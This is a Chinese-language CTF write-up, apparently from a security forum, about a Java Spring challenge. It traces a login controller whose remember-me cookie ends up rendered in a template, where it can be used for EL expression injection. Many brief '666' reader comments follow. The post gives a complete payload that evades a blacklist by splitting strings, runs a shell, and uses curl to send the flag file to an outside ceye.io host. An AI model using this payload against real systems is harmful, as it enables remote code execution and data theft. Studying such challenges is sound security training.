题目环境:放在下方附件
推荐使用idea+jdk1.8
导入下载的jar包
可以先运行一下看一下是什么样的环境
这边是个登录页面,既然有源码,那就不用黑盒测试了,直接看代码,在application.yml发现了一个黑名单,过滤了java.+lang Runtime exec(调用runtime类的exec方法可以执行系统命令),同时我们还找到了测试账号admin,admin
对于MVC框架,一般都习惯从controller层下手,点开这边的MainController,先从登录功能分析
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie,转跳至hello.html,在hello.html发现了可能存在EL表达式注入,他会将session中的username字段内容取出在页面上显示,如果此处可控,则可以构造rce
由于登录的测试账号是固定的,admin,admin,所以无法直接利用这边的session.setAttribute
程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute
这样思路就很明确了,在cookie的remember-me构造rce,结合黑名单bypass
payload:#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
打赏我,让我更有动力~
The attachment is hidden and you need to reply to the topic before it becomes visible.
© 2016 - 2022 掌控者 All Rights Reserved.
2054806610
发表于 2021-5-27
厉害
评论列表
加载数据中...
crt
发表于 2021-5-27
666
评论列表
加载数据中...
amwusrso
发表于 2021-5-28
666
评论列表
加载数据中...
goodplay
发表于 2021-5-31
666
评论列表
加载数据中...
15583373239
发表于 2021-6-4
666
评论列表
加载数据中...
yangroupaomo
发表于 2021-6-8
666
评论列表
加载数据中...
954915456
发表于 2021-6-15
6666
评论列表
加载数据中...
渗透小鬼才
发表于 9个月前
666
评论列表
加载数据中...
一方
发表于 9个月前
打卡
评论列表
加载数据中...
ababmab
发表于 8个月前
666
评论列表
加载数据中...
bluesky
发表于 6个月前
666
评论列表
加载数据中...
2263859677
发表于 6个月前
666
评论列表
加载数据中...
1129591494
发表于 6个月前
1
评论列表
加载数据中...
非晚
发表于 6个月前
666
评论列表
加载数据中...
1300169241
发表于 4个月前
66
评论列表
加载数据中...
hellen_2018
发表于 2个月前
6666,点赞
评论列表
加载数据中...
zhuzaiyu
发表于 2个月前
66
评论列表
加载数据中...
dsal15326770
发表于 15天前
66
评论列表
加载数据中...